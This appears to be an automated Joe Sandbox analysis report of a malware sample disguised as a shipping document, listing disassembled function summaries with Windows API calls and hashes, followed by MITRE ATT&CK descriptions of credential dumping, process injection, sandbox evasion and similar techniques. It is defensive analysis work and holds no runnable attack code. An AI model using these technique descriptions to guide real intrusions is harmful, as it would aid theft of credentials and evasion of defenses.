Part of subcall function 00E01D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00E01D91

GetWindowRect.USER32(00000000,?), ref: 00E86CA3
GetSysColor.USER32(00000012), ref: 00E86CBD

Strings

static, xrefs: 00E86C80

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: b0e51b2e1f8b40d330ae8e862aa08c8f4a54c1b62225a30c15d8071be83ff36a
Instruction ID: e1e7baf99bf79482d944b19ca165495781e381142d51623a37c729415685766e
Opcode Fuzzy Hash: b0e51b2e1f8b40d330ae8e862aa08c8f4a54c1b62225a30c15d8071be83ff36a
Instruction Fuzzy Hash: 43215972610209AFDB04EFA8DC45AFABBA8EB08304F005629F959E2250E735E860DB50

Function 00E86952 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 00E869D4
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00E869E3

Strings

edit, xrefs: 00E869B8

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: a74a670328d7320feb47656deb4a3e0b9c4a60aac297c50a0975a7ff44b8f850
Instruction ID: d58cbcf3c3c06dea34a704817aa7619c77e2bd09b6ff5d647d901d55e7f2c32c
Opcode Fuzzy Hash: a74a670328d7320feb47656deb4a3e0b9c4a60aac297c50a0975a7ff44b8f850
Instruction Fuzzy Hash: 8A116D71500204AFEB116F64DC40AEB37A9EB85378F606724F9ACB71D0C631DC919760

Function 00E62CA7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E62D1A
GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 00E62D39

Strings

0, xrefs: 00E62D10

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: 00082fd1bc8465096d54c05152c8aecd9ae343292ca0a50e5b86dd55da7a2265
Instruction ID: 456c6f35f352430b135a654960055f2240d51e8b218e330a303cb782bd537180
Opcode Fuzzy Hash: 00082fd1bc8465096d54c05152c8aecd9ae343292ca0a50e5b86dd55da7a2265
Instruction Fuzzy Hash: E4110832E41914EFDB21DB58EC44FADB7B9AB05384F142139EE15BB2A0D731AD05C792

Function 00E722EC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00E72342
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00E7236B

Strings

<local>, xrefs: 00E72333

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 0d1e7dddab751e2e889bd812579ffbcb2579d789c4b1adbb6525778ad5dab29d
Instruction ID: 461a6e7ff3341bfd96645ff78a1ca3f9c7f2b4a5a9340818876c18943e7a79aa
Opcode Fuzzy Hash: 0d1e7dddab751e2e889bd812579ffbcb2579d789c4b1adbb6525778ad5dab29d
Instruction Fuzzy Hash: E611E070501626BADB248F128C84EFBFBA8EF05355F10E22EFA4D76100D2786881D6F0

Function 00E10A8D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,00E03C26,00EC52F8,?,?,?), ref: 00E10ACE

Part of subcall function 00E07D2C: _memmove.LIBCMT ref: 00E07D66

_wcscat.LIBCMT ref: 00E45010

Strings

S, xrefs: 00E10B0E

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: FullNamePath_memmove_wcscat
String ID: S
API String ID: 257928180-3334745618
Opcode ID: c370f7a57405398488380eaa63b22c60cd1b236ce545a2de87e9ce07ee00a713
Instruction ID: ce43bc4d3c7dee485fd6349020f3dcb8347833ebae4a9659dcd107edbd0fb8b7
Opcode Fuzzy Hash: c370f7a57405398488380eaa63b22c60cd1b236ce545a2de87e9ce07ee00a713
Instruction Fuzzy Hash: 501165359042089BCB00FB64DD42EDD77F8EF18394B0060A5B98DF7295DAB1BBC59B51

Function 00E590C7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E07F41: _memmove.LIBCMT ref: 00E07F82

Part of subcall function 00E5AEA4: GetClassNameW.USER32(?,?,000000FF), ref: 00E5AEC7

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00E59135

Strings

ListBox, xrefs: 00E590FF
ComboBox, xrefs: 00E590D4

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 3fa963adf1cdde97111e81b003973df71929b1aa615a60cacb2aacea4ee82f62
Instruction ID: b3f83ea51e7190c6862beb305e27555066e7152fd76230d6f33a794dd59793f2
Opcode Fuzzy Hash: 3fa963adf1cdde97111e81b003973df71929b1aa615a60cacb2aacea4ee82f62
Instruction Fuzzy Hash: E501F931605225ABCF04EB64CC958FE73A9EF063107141B19F875772C2DE35584C8750

Function 00E68E3A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00E68E55
__fread_nolock.LIBCMT ref: 00E68E6A

Strings

EA06, xrefs: 00E68E9C

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: __fread_nolock_memmove
String ID: EA06
API String ID: 1988441806-3962188686
Opcode ID: e7af5d5bce844c6f8b566b879b53a49eb512fea426b203ca48bdb1780e6d93e1
Instruction ID: 002cec6735bd345eb9f8455a7d7111c4a667b019b9cefa17b01cd4135e5b2f03
Opcode Fuzzy Hash: e7af5d5bce844c6f8b566b879b53a49eb512fea426b203ca48bdb1780e6d93e1
Instruction Fuzzy Hash: 2701F9729442286EDB28C6A8DC16EFE7BF89B15301F00459BF552E2181E9B5E604C760

Function 00E58FBF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E07F41: _memmove.LIBCMT ref: 00E07F82

Part of subcall function 00E5AEA4: GetClassNameW.USER32(?,?,000000FF), ref: 00E5AEC7

SendMessageW.USER32(?,00000180,00000000,?), ref: 00E5902D

Strings

ListBox, xrefs: 00E58FF7
ComboBox, xrefs: 00E58FCC

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 5d5225331396839c3735194e6bbeb2448c1c304e3159d682a47db16395735ba7
Instruction ID: 375ecaee63e043c42f7fa41bde17a791b5bd616c96da746ba764f89cc3a8b4f8
Opcode Fuzzy Hash: 5d5225331396839c3735194e6bbeb2448c1c304e3159d682a47db16395735ba7
Instruction Fuzzy Hash: 4F01B171B41209ABCB14EBA0C8969EB73A8DF05340F24252AB846772C2DE255E4C9661

Function 00E59044 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E07F41: _memmove.LIBCMT ref: 00E07F82

Part of subcall function 00E5AEA4: GetClassNameW.USER32(?,?,000000FF), ref: 00E5AEC7

SendMessageW.USER32(?,00000182,?,00000000), ref: 00E590B0

Strings

ListBox, xrefs: 00E5907C
ComboBox, xrefs: 00E59051

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: bed32a47e67dd83b0cfa5236bc122ff0b20c407aab4efa437be7669dfec68d6b
Instruction ID: 3f565ec05622c4f5e76acbf98c4fe61ec54fab9b0fda6d9a1b0027f14391d546
Opcode Fuzzy Hash: bed32a47e67dd83b0cfa5236bc122ff0b20c407aab4efa437be7669dfec68d6b
Instruction Fuzzy Hash: 1801F771B41209ABCF14EB64C8469FF73E88F04301F1429257C46732C2DA255E4C9671

Function 00E5C7AD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00E5C7F6

Part of subcall function 00E5CB06: _memmove.LIBCMT ref: 00E5CB50
Part of subcall function 00E5CB06: VariantInit.OLEAUT32(00000000), ref: 00E5CB72
Part of subcall function 00E5CB06: VariantCopy.OLEAUT32(00000000,?), ref: 00E5CB7C

VariantClear.OLEAUT32(?), ref: 00E5C818

Strings

d}, xrefs: 00E5C7D9

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Variant$Init$ClearCopy_memmove
String ID: d}
API String ID: 2932060187-1207350282
Opcode ID: 905b0f5e73b5e8f3a0797a40a90e18d4c071d07cab48b399b3bd97cdd561d339
Instruction ID: 2d76db331c7552767f7ecdaa15098e05cb488982230bb2599f7144a9c1b64dbe
Opcode Fuzzy Hash: 905b0f5e73b5e8f3a0797a40a90e18d4c071d07cab48b399b3bd97cdd561d339
Instruction Fuzzy Hash: 521100719007089FC720DF9AD88589BF7F8FF18314B50892FE58AE7652E771A948CB90

Function 00E64FCF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00E64FED
_wcscmp.LIBCMT ref: 00E64FFF

Strings

#32770, xrefs: 00E64FF9

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: ClassName_wcscmp
String ID: #32770
API String ID: 2292705959-463685578
Opcode ID: 584521809461d2d7571594527f904e390c389c488d6bfb91101de178dceacd16
Instruction ID: cac3e31bec1209cb4f026807a7a561117d67f5bfd0d5993ec4751b868abd98da
Opcode Fuzzy Hash: 584521809461d2d7571594527f904e390c389c488d6bfb91101de178dceacd16
Instruction Fuzzy Hash: 29E092326002292AE7209AAAAC09EA7F7ACEB55760F101067FD04F3151D961AA4587E1

Function 00E3B441 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00E3B494: _memset.LIBCMT ref: 00E3B4A1

Part of subcall function 00E20AC0: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,00E3B470,?,?,?,00E0100A), ref: 00E20AC5

IsDebuggerPresent.KERNEL32(?,?,?,00E0100A), ref: 00E3B474
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,00E0100A), ref: 00E3B483

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00E3B47E

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString_memset
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3158253471-631824599
Opcode ID: 964dc09943d34ccb87b9497b7c350490ebffbad99b6ceb63f480b6960c0c334c
Instruction ID: 6edf05854477c7d46945c894b677e3ae191cf32687d0b3b58d31256b1db71d01
Opcode Fuzzy Hash: 964dc09943d34ccb87b9497b7c350490ebffbad99b6ceb63f480b6960c0c334c
Instruction Fuzzy Hash: 17E06DB02007108FD7319F69E4097467BE0AB04704F01992DE596F6252EBB5E488CBA1

Function 00E859CD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00E859D7
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00E859EA

Part of subcall function 00E652EB: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00E65363

Strings

Shell_TrayWnd, xrefs: 00E859D0

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: da94a169f050a8604657b9312826ecdddeea50dd2332bfec56ef5471cbee0cbe
Instruction ID: eec5b9c20d8d968b203d06b76de6904841e2f72904161bd24ff320f4af1a890e
Opcode Fuzzy Hash: da94a169f050a8604657b9312826ecdddeea50dd2332bfec56ef5471cbee0cbe
Instruction Fuzzy Hash: 72D0C932384711BAE664BB71AC1BFD76A65AB00B50F101935B259BA1E0D9E0A804C754

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

